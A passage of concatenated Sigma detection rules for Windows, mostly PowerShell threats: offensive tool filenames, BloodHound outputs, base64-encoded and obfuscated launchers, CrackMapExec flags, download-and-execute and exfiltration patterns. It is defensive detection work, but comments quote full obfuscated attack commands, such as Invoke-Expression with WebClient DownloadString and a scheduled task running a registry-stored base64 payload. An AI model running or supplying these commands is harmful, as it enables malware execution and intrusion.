- '\Set-MacAttribute.ps1'
- '\Set-RemotePSRemoting.ps1'
- '\Set-RemoteWMI.ps1'
- '\Set-Wallpaper.ps1'
- '\Show-TargetScreen.ps1'
- '\Speak.ps1'
- '\Start-CaptureServer.ps1'
- '\Start-WebcamRecorder.ps1'
- '\StringToBase64.ps1'
- '\TexttoExe.ps1'
- '\Veeam-Get-Creds.ps1'
- '\VolumeShadowCopyTools.ps1'
- '\WinPwn.ps1'
- '\WSUSpendu.ps1'
selection_invoke_sharp:
TargetFilename|contains: 'Invoke-Sharp' # Covers all "Invoke-Sharp" variants
TargetFilename|endswith: '.ps1'
condition: 1 of selection_*
falsepositives:
- Unknown
level: high
title: BloodHound Collection Files
id: 02773bed-83bf-469f-b7ff-e676e7d78bab
status: test
description: Detects default file names outputted by the BloodHound collection tool SharpHound
references:
- https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection
author: C.J. May
date: 2022-08-09
modified: 2026-02-19
tags:
- attack.discovery
- attack.t1087.001
- attack.t1087.002
- attack.t1482
- attack.t1069.001
- attack.t1069.002
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|endswith:
- 'BloodHound.zip'
- '_computers.json'
- '_containers.json'
# - '_domains.json' # prone to false positives with ProbabilisticRevealTokenRegistry function in Google Chrome
- '_gpos.json'
- '_groups.json'
- '_ous.json'
- '_users.json'
filter_optional_ms_winapps:
Image|endswith: '\svchost.exe'
TargetFilename|startswith: 'C:\Program Files\WindowsApps\Microsoft.'
TargetFilename|endswith: '\pocket_containers.json'
condition: selection and not 1 of filter_optional_*
falsepositives:
- Some false positives may arise in some environment and this may require some tuning. Add additional filters or reduce level depending on the level of noise
level: high
title: Suspicious Interactive PowerShell as SYSTEM
id: 5b40a734-99b6-4b98-a1d0-1cea51a08ab2
status: test
description: Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context
references:
- https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm
author: Florian Roth (Nextron Systems)
date: 2021-12-07
modified: 2022-08-13
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename:
- 'C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'
- 'C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive'
condition: selection
falsepositives:
- Administrative activity
- PowerShell scripts running as SYSTEM user
level: high
title: Execution of Powershell Script in Public Folder
id: fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4
status: test
description: This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder
references:
- https://www.mandiant.com/resources/evolution-of-fin7
author: Max Altgelt (Nextron Systems)
date: 2022-04-06
modified: 2022-07-14
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- '-f C:\Users\Public'
- '-f "C:\Users\Public'
- '-f %Public%'
- '-fi C:\Users\Public'
- '-fi "C:\Users\Public'
- '-fi %Public%'
- '-fil C:\Users\Public'
- '-fil "C:\Users\Public'
- '-fil %Public%'
- '-file C:\Users\Public'
- '-file "C:\Users\Public'
- '-file %Public%'
condition: selection
falsepositives:
- Unlikely
level: high
title: Base64 Encoded PowerShell Command Detected
id: e32d4572-9826-4738-b651-95fa63747e8a
status: test
description: Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string
references:
- https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
author: Florian Roth (Nextron Systems)
date: 2020-01-29
modified: 2023-01-26
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1140
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains: '::FromBase64String('
condition: selection
falsepositives:
- Administrative script libraries
level: high
title: Invoke-Obfuscation VAR+ Launcher
id: 27aec9c9-dbb0-4939-8422-1742242471d0
status: test
description: Detects Obfuscated use of Environment Variables to execute PowerShell
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task 24)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2024-04-15
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
# Example 1: C:\winDoWs\SySTeM32\cmd.Exe /C"SET NOtI=Invoke-Expression (New-Object Net.WebClient).DownloadString&& PowERshElL -NOl SET-iteM ( 'VAR' + 'i'+ 'A' + 'blE:Ao6' + 'I0') ( [TYpe](\"{2}{3}{0}{1}\"-F 'iRoN','mENT','e','nv') ) ; ${exECUtIONCOnTEXT}.\"IN`VO`KecOmMaND\".\"inVo`KES`crIPt\"( ( ( GEt-VAriAble ( 'a' + 'o6I0') -vaLU )::(\"{1}{4}{2}{3}{0}\" -f'e','gETenvIR','NtvaRIa','BL','ONme' ).Invoke(( \"{0}{1}\"-f'n','oti' ),( \"{0}{1}\" -f'pRoC','esS') )) )"
# Example 2: cMD.exe /C "seT SlDb=Invoke-Expression (New-Object Net.WebClient).DownloadString&& pOWErShell .(( ^&(\"{1}{0}{2}{3}\" -f 'eT-vaR','G','iab','lE' ) (\"{0}{1}\" -f '*m','DR*' ) ).\"na`ME\"[3,11,2]-JOIN'' ) ( ( ^&(\"{0}{1}\" -f'g','CI' ) (\"{0}{1}\" -f 'ENV',':SlDb' ) ).\"VA`luE\" ) "
CommandLine|re: 'cmd.{0,5}(?:/c|/r)(?:\s|)\"set\s[a-zA-Z]{3,6}.*(?:\{\d\}){1,}\\\"\s+?\-f(?:.*\)){1,}.*\"'
condition: selection
falsepositives:
- Unknown
level: high
title: Suspicious Encoded PowerShell Command Line
id: ca2092a1-c273-4878-9b4b-0d60115bf5ea
status: test
description: Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)
references:
- https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e
author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community
date: 2018-09-03
modified: 2023-04-06
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_cli_enc:
CommandLine|contains: ' -e' # covers -en and -enc
selection_cli_content:
CommandLine|contains:
- ' JAB'
- ' SUVYI'
- ' SQBFAFgA'
- ' aQBlAHgA'
- ' aWV4I'
- ' IAA'
- ' IAB'
- ' UwB'
- ' cwB'
selection_standalone:
CommandLine|contains:
- '.exe -ENCOD '
- ' BA^J e-' # Reversed
filter_optional_remote_signed:
CommandLine|contains: ' -ExecutionPolicy remotesigned '
condition: selection_img and (all of selection_cli_* or selection_standalone) and not 1 of filter_optional_*
level: high
title: PowerShell Base64 Encoded Reflective Assembly Load
id: 62b7ccc9-23b4-471e-aa15-6da3663c4d59
related:
- id: 9c0295ce-d60d-40bd-bd74-84673b7592b1
type: similar
status: test
description: Detects base64 encoded .NET reflective loading of Assembly
references:
- https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
author: Christian Burkard (Nextron Systems), pH-T (Nextron Systems)
date: 2022-03-01
modified: 2023-01-30
tags:
- attack.execution
- attack.stealth
- attack.t1059.001
- attack.t1027
- attack.t1620
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
# [Reflection.Assembly]::Load(
- 'WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA'
- 'sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA'
- 'bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA'
# [reflection.assembly]::("Load")
- 'AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiAC'
- 'BbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgAp'
- 'AWwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAK'
# [Reflection.Assembly]::("Load")
- 'WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAIgBMAG8AYQBkACIAKQ'
- 'sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvAGEAZAAiACkA'
- 'bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwBhAGQAIgApA'
# [reflection.assembly]::Load(
- 'WwByAGUAZgBsAGUAYwB0AGkAbwBuAC4AYQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA'
- 'sAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA'
- 'bAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA'
condition: selection
falsepositives:
- Unlikely
level: high
title: HackTool - CrackMapExec Execution
id: 42a993dd-bb3e-48c8-b372-4d6684c4106c
status: test
description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
references:
- https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local
- https://www.mandiant.com/resources/telegram-malware-iranian-espionage
- https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz
- https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject
author: Florian Roth (Nextron Systems)
date: 2022-02-25
modified: 2023-03-08
tags:
- attack.execution
- attack.persistence
- attack.privilege-escalation
- attack.credential-access
- attack.discovery
- attack.t1047
- attack.t1053
- attack.t1059.003
- attack.t1059.001
- attack.t1110
- attack.t1201
logsource:
category: process_creation
product: windows
detection:
selection_binary:
Image|endswith: '\crackmapexec.exe'
selection_special:
CommandLine|contains: ' -M pe_inject '
selection_execute:
CommandLine|contains|all:
- ' --local-auth'
- ' -u '
- ' -x '
selection_hash:
CommandLine|contains|all:
- ' --local-auth'
- ' -u '
- ' -p '
- " -H 'NTHASH'"
selection_module_mssql:
CommandLine|contains|all:
- ' mssql '
- ' -u '
- ' -p '
- ' -M '
- ' -d '
selection_module_smb1:
CommandLine|contains|all:
- ' smb '
- ' -u '
- ' -H '
- ' -M '
- ' -o '
selection_module_smb2:
CommandLine|contains|all:
- ' smb '
- ' -u '
- ' -p '
- ' --local-auth'
part_localauth_1:
CommandLine|contains|all:
- ' --local-auth'
- ' -u '
- ' -p '
part_localauth_2:
CommandLine|contains|all:
- ' 10.'
- ' 192.168.'
- '/24 '
condition: 1 of selection_* or all of part_localauth*
falsepositives:
- Unknown
level: high
title: Suspicious PowerShell Download and Execute Pattern
id: e6c54d94-498c-4562-a37c-b469d8e9a275
related:
- id: 3b6ab547-8ec2-4991-b9d2-2b06702a48d7
type: derived
status: test
description: Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)
references:
- https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
- https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
author: Florian Roth (Nextron Systems)
date: 2022-02-28
modified: 2022-03-01
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains: # make sure that your backend applies the strings case-insensitive
- 'IEX ((New-Object Net.WebClient).DownloadString'
- 'IEX (New-Object Net.WebClient).DownloadString'
- 'IEX((New-Object Net.WebClient).DownloadString'
- 'IEX(New-Object Net.WebClient).DownloadString'
- ' -command (New-Object System.Net.WebClient).DownloadFile('
- ' -c (New-Object System.Net.WebClient).DownloadFile('
condition: selection
falsepositives:
- Software installers that pull packages from remote systems and execute them
level: high
title: HackTool - Empire PowerShell Launch Parameters
id: 79f4ede3-402e-41c8-bc3e-ebbf5f162581
status: test
description: Detects suspicious powershell command line parameters used in Empire
references:
- https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
author: Florian Roth (Nextron Systems)
date: 2019-04-20
modified: 2023-02-21
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- ' -NoP -sta -NonI -W Hidden -Enc '
- ' -noP -sta -w 1 -enc '
- ' -NoP -NonI -W Hidden -enc '
- ' -noP -sta -w 1 -enc'
- ' -enc SQB'
- ' -nop -exec bypass -EncodedCommand '
condition: selection
falsepositives:
- Other tools that incidentally use the same command line parameters
level: high
title: Suspicious PowerShell Encoded Command Patterns
id: b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c
status: test
description: Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains
references:
- https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/
author: Florian Roth (Nextron Systems)
date: 2022-05-24
modified: 2023-01-05
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.Exe'
- 'pwsh.dll'
selection_flags:
CommandLine|contains:
- ' -e '
- ' -en '
- ' -enc '
- ' -enco'
selection_encoded:
CommandLine|contains:
- ' JAB'
- ' SUVYI'
- ' SQBFAFgA'
- ' aWV4I'
- ' IAB'
- ' PAA'
- ' aQBlAHgA'
filter_gcworker:
ParentImage|contains:
- 'C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\'
- '\gc_worker.exe'
condition: all of selection_* and not 1 of filter_*
falsepositives:
- Other tools that work with encoded scripts in the command line instead of script files
level: high
title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
- https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
- https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
- https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
- attack.stealth
- attack.t1027.010
- attack.t1218.007
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
# Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
selection_img:
- Image|endswith:
- '\powershell_ise.exe'
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell_ISE.EXE'
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_cli:
CommandLine|contains|all:
- '-ComObject'
- 'InstallProduct('
- '.Insert('
- 'UILevel'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Suspicious HH.EXE Execution
id: e8a95b5e-c891-46e2-b33a-93937d3abc31
status: test
description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe)
references:
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
- https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7
- https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
- https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
author: Maxim Pavlunin
date: 2020-04-01
modified: 2023-04-12
tags:
- attack.execution
- attack.initial-access
- attack.stealth
- attack.t1047
- attack.t1059.001
- attack.t1059.003
- attack.t1059.005
- attack.t1059.007
- attack.t1218
- attack.t1218.001
- attack.t1218.010
- attack.t1218.011
- attack.t1566
- attack.t1566.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- OriginalFileName: 'HH.exe'
- Image|endswith: '\hh.exe'
selection_paths:
CommandLine|contains:
- '.application'
- '\AppData\Local\Temp\'
- '\Content.Outlook\'
- '\Downloads\'
- '\Users\Public\'
- '\Windows\Temp\'
# - '\AppData\Local\Temp\Temp?_'
# - '\AppData\Local\Temp\Rar$'
# - '\AppData\Local\Temp\7z'
# - '\AppData\Local\Temp\wz'
# - '\AppData\Local\Temp\peazip-tmp'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Obfuscated IEX Invocation
id: 4bf943c6-5146-4273-98dd-e958fd1e3abf
status: test
description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block
references:
- https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
author: 'Daniel Bohannon (@Mandiant/@FireEye), oscd.community'
date: 2019-11-08
modified: 2026-03-16
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
- CommandLine|re: '\$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\['
- CommandLine|re: '\$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\['
- CommandLine|re: '\$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\['
- CommandLine|re: '\$env:ComSpec\[(?:\s*\d{1,3}\s*,){2}'
- CommandLine|re: '\*mdr\*\W\s*\)\.Name'
- CommandLine|re: '\$VerbosePreference\.ToString\('
- CommandLine|re: '\[String\]\s*\$VerbosePreference'
condition: selection
falsepositives:
- Unknown
level: high
title: Scheduled Task Executing Encoded Payload from Registry
id: c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78
status: test
description: Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.
references:
- https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: pH-T (Nextron Systems), @Kostastsale, TheDFIRReport, X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-02-12
modified: 2023-02-04
tags:
- attack.privilege-escalation
- attack.execution
- attack.persistence
- attack.t1053.005
- attack.t1059.001
logsource:
product: windows
category: process_creation
detection:
selection_img:
# schtasks.exe /Create /F /TN "{97F2F70B-10D1-4447-A2F3-9B070C86E261}" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\SOFTWARE\Pvoeooxf).yzbbvhhdypa))) " /SC MINUTE /MO 30
- Image|endswith: '\schtasks.exe'
- OriginalFileName: 'schtasks.exe'
selection_cli_create:
CommandLine|contains: '/Create'
selection_cli_encoding:
CommandLine|contains:
- 'FromBase64String'
- 'encodedcommand'
selection_cli_get:
CommandLine|contains:
- 'Get-ItemProperty'
- ' gp ' # Alias
selection_cli_hive:
CommandLine|contains:
- 'HKCU:'
- 'HKLM:'
- 'registry::'
- 'HKEY_'
condition: all of selection_*
falsepositives:
- Unlikely
level: high
title: Potential Data Exfiltration Activity Via CommandLine Tools
id: 7d1aaf3d-4304-425c-b7c3-162055e0b3ab
status: test
description: Detects the use of various CLI utilities exfiltrating data via web requests
references:
- https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-02
modified: 2025-10-19
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_iwr:
Image|endswith:
- '\powershell_ise.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
CommandLine|contains:
- 'curl '
- 'Invoke-RestMethod'
- 'Invoke-WebRequest'
- 'irm '
- 'iwr '
- 'wget '
CommandLine|contains|all:
- ' -ur' # Shortest possible version of the -uri flag
- ' -me' # Shortest possible version of the -method flag
- ' -b'
- ' POST '
selection_curl:
Image|endswith: '\curl.exe'
CommandLine|contains: '--ur' # Shortest possible version of the --uri flag
selection_curl_data:
CommandLine|contains:
- ' -d ' # Shortest possible version of the --data flag
- ' --data '
selection_wget:
Image|endswith: '\wget.exe'
CommandLine|contains:
- '--post-data'
- '--post-file'
payloads:
- CommandLine|re:
- 'net\s+view'
- 'sc\s+query'
- CommandLine|contains:
- 'Get-Content'
- 'GetBytes'
- 'hostname'
- 'ifconfig'
- 'ipconfig'
- 'netstat'
- 'nltest'
- 'qprocess'
- 'systeminfo'
- 'tasklist'
- 'ToBase64String'
- 'whoami'
- CommandLine|contains|all:
- 'type '
- ' > '
- ' C:\'
condition: (selection_iwr or all of selection_curl* or selection_wget) and payloads
falsepositives:
- Unlikely
level: high
title: Invoke-Obfuscation Via Use Clip
id: e1561947-b4e3-4a74-9bdd-83baed21bdb5
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2026-03-16
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
# Example 1: C:\WINdoWS\sySteM32\CMd /c " ECho\Invoke-Expression (New-Object Net.WebClient).DownloadString|Clip.Exe&&C:\WINdoWS\sySteM32\CMd /c pOWerSheLl -STa . ( \"{2}{0}{1}\"-f'dd-',(\"{0}{1}\" -f 'T','ype' ),'A' ) -Assembly ( \"{4}{1}{3}{0}{2}\"-f (\"{0}{1}\" -f 'nd','ow'),( \"{1}{0}\"-f'.W','stem' ),( \"{2}{1}{0}\" -f 'rms','Fo','s.'),'i','Sy') ; ${exeCUtIOnCONTeXT}.\"INV`oKECOM`m`ANd\".\"INV`ok`ESCriPT\"( ( [sYSteM.wiNDoWS.forMs.ClIPboaRD]::( \"{2}{0}{1}\" -f'Ex','t',(\"{0}{1}\" -f'Get','t' ) ).\"iNvo`Ke\"( )) ) ; [System.Windows.Forms.Clipboard]::(\"{1}{0}\" -f 'ar','Cle' ).\"in`V`oKE\"( )"
# Example 2: C:\WINDowS\sYsTEM32\CmD.eXE /C" echo\Invoke-Expression (New-Object Net.WebClient).DownloadString| C:\WIndOWs\SYSteM32\CLip &&C:\WINDowS\sYsTEM32\CmD.eXE /C POWERSHeLL -sT -noL [Void][System.Reflection.Assembly]::( \"{0}{3}{4}{1}{2}\" -f( \"{0}{1}\"-f'Lo','adW' ),( \"{0}{1}\"-f 'Par','t'),( \"{0}{1}{2}\"-f 'ial','N','ame'),'it','h' ).\"in`VO`KE\"( ( \"{3}{1}{4}{5}{2}{0}\"-f'rms','ystem.Windo','Fo','S','w','s.' )) ; ( [wIndows.fOrms.cLIPBOArD]::( \"{1}{0}\"-f'T',( \"{1}{0}\" -f'tEX','gET' )).\"i`Nvoke\"( ) ) ^^^| ^^^& ( ( ^^^& ( \"{2}{1}{0}\"-f 'e',( \"{2}{1}{0}\"-f'IABl','aR','v' ),( \"{0}{1}\"-f'Get','-' ) ) ( \"{1}{0}\"-f'*','*MDr' )).\"n`Ame\"[3,11,2]-jOin'') ; [Windows.Forms.Clipboard]::( \"{0}{1}\" -f (\"{1}{0}\"-f'tT','Se' ),'ext').\"in`VoKe\"(' ' )"
CommandLine|re: '(?i)echo.*clip.*&&.*(?:Clipboard|i`?n`?v`?o`?k`?e`?)'
condition: selection
falsepositives:
- Unknown
level: high
title: Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call
id: 9c0295ce-d60d-40bd-bd74-84673b7592b1
related:
- id: 62b7ccc9-23b4-471e-aa15-6da3663c4d59
type: similar
status: test
description: Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"
references:
- https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
- https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0
author: pH-T (Nextron Systems)
date: 2022-03-01
modified: 2023-04-06
tags:
- attack.execution
- attack.stealth
- attack.t1059.001
- attack.t1027
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
# ::("L"+"oad")
- 'OgA6ACgAIgBMACIAKwAiAG8AYQBkACIAKQ'
- 'oAOgAoACIATAAiACsAIgBvAGEAZAAiACkA'
- '6ADoAKAAiAEwAIgArACIAbwBhAGQAIgApA'
# ::("Lo"+"ad")
- 'OgA6ACgAIgBMAG8AIgArACIAYQBkACIAKQ'
- 'oAOgAoACIATABvACIAKwAiAGEAZAAiACkA'
- '6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApA'
# ::("Loa"+"d")
- 'OgA6ACgAIgBMAG8AYQAiACsAIgBkACIAKQ'
- 'oAOgAoACIATABvAGEAIgArACIAZAAiACkA'
- '6ADoAKAAiAEwAbwBhACIAKwAiAGQAIgApA'
# ::('L'+'oad')
- 'OgA6ACgAJwBMACcAKwAnAG8AYQBkACcAKQ'
- 'oAOgAoACcATAAnACsAJwBvAGEAZAAnACkA'
- '6ADoAKAAnAEwAJwArACcAbwBhAGQAJwApA'
# ::('Lo'+'ad')
- 'OgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQ'
- 'oAOgAoACcATABvACcAKwAnAGEAZAAnACkA'
- '6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApA'
# ::('Loa'+'d')
- 'OgA6ACgAJwBMAG8AYQAnACsAJwBkACcAKQ'
- 'oAOgAoACcATABvAGEAJwArACcAZAAnACkA'
- '6ADoAKAAnAEwAbwBhACcAKwAnAGQAJwApA'
condition: selection
falsepositives:
- Unlikely
level: high
title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
- https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
- attack.execution
- attack.defense-impairment
- attack.t1059.001
- attack.t1685
logsource:
product: windows
category: process_creation
detection:
selection:
# Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'http://127.0.0.1'
- '%{(IRM $_)}'
- 'Invoke'
condition: selection
falsepositives:
- Unknown
level: high
title: Malicious PowerShell Commandlets - ProcessCreation
id: 02030f2f-6199-49ec-b258-ea71b07e03dc
related:
- id: 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
type: derived
- id: 7d0d0329-0ef1-4e84-a9f5-49500f9d7c6c
type: similar
status: test
description: Detects Commandlet names from well-known PowerShell exploitation frameworks
references:
- https://adsecurity.org/?p=2921
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
- https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
- https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
- https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
- https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
